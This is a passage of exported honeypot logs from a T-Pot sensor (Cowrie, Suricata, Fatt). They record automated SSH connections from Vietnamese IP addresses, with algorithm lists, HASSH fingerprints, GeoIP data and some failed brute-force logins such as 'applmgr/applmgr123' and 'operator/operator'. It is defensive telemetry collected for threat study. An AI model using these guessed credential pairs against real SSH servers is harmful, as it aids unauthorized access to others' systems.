"hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "42c3e721ce53", "@version": "1", "timestamp": "2021-09-20T11:09:48.442391Z", "@timestamp": "2021-09-20T11:09:48.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25465	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:48.44089+03	2021-09-20 14:15:10.17247+03	{"_id": "nQblAnwBvYTbRNuE1Bnb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1553051247762665, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50876, "dest_port": 22, "timestamp": "2021-09-20T11:09:48.440890Z", "@timestamp": "2021-09-20T11:09:48.440Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25466	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:09:48.442096+03	2021-09-20 14:15:10.17447+03	{"_id": "oAblAnwBvYTbRNuE1Rnr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50876, "dest_port": 22, "timestamp": "2021-09-20T11:09:48.442096", "@timestamp": "2021-09-20T11:09:48.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25467	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:44.801083+03	2021-09-20 14:15:10.17547+03	{"_id": "VQblAnwBvYTbRNuExRk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2219520650959357, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.801083Z", "@timestamp": "2021-09-20T11:09:44.801Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25468	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:44.801237+03	2021-09-20 14:15:10.17647+03	{"_id": "WQblAnwBvYTbRNuExhlI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46900, "timestamp": "2021-09-20T11:09:44.801237", "@timestamp": "2021-09-20T11:09:44.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25469	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:48.264536+03	2021-09-20 14:15:10.17747+03	{"_id": "oQblAnwBvYTbRNuE1Rns", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7273, "dest_port": 22, "timestamp": "2021-09-20T11:09:48.264536", "@timestamp": "2021-09-20T11:09:48.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25470	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.00777+03	2021-09-20 14:15:10.17947+03	{"_id": "ogblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57068 (192.168.176.2:22) [session: 8b0d7e774921]", "session": "8b0d7e774921", "@version": "1", "protocol": "ssh", "src_port": 57068, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.007770Z", "@timestamp": "2021-09-20T11:09:49.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25471	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.352287+03	2021-09-20 14:15:10.18147+03	{"_id": "owblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:60376 (192.168.176.2:22) [session: bfb60212f333]", "session": "bfb60212f333", "@version": "1", "protocol": "ssh", "src_port": 60376, "dest_port": 22, "timestamp": "2021-09-20T11:09:49.352287Z", "@timestamp": "2021-09-20T11:09:49.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25472	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:48.576278+03	2021-09-20 14:15:10.18247+03	{"_id": "tAblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [applmgr/applmgr123] failed", "session": "a5c432a782e1", "@version": "1", "password": "applmgr123", "username": "applmgr", "timestamp": "2021-09-20T11:09:48.576278Z", "@timestamp": "2021-09-20T11:09:48.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25473	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:48.666675+03	2021-09-20 14:15:10.18347+03	{"_id": "tQblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d1954c9f280c", "@version": "1", "duration": 2.855994939804077, "timestamp": "2021-09-20T11:09:48.666675Z", "@timestamp": "2021-09-20T11:09:48.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25474	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:48.90328+03	2021-09-20 14:15:10.18447+03	{"_id": "tgblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "50123e90af28", "@version": "1", "duration": 9.2103111743927, "timestamp": "2021-09-20T11:09:48.903280Z", "@timestamp": "2021-09-20T11:09:48.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25475	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:49.094548+03	2021-09-20 14:15:10.18547+03	{"_id": "twblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [operator/operator] failed", "session": "e72f1f065bb0", "@version": "1", "password": "operator", "username": "operator", "timestamp": "2021-09-20T11:09:49.094548Z", "@timestamp": "2021-09-20T11:09:49.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25476	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.115079+03	2021-09-20 14:15:10.18647+03	{"_id": "uAblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8b0d7e774921", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:49.115079Z", "@timestamp": "2021-09-20T11:09:49.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25477	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:49.283769+03	2021-09-20 14:15:10.18747+03	{"_id": "uQblAnwBvYTbRNuE1hmF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": 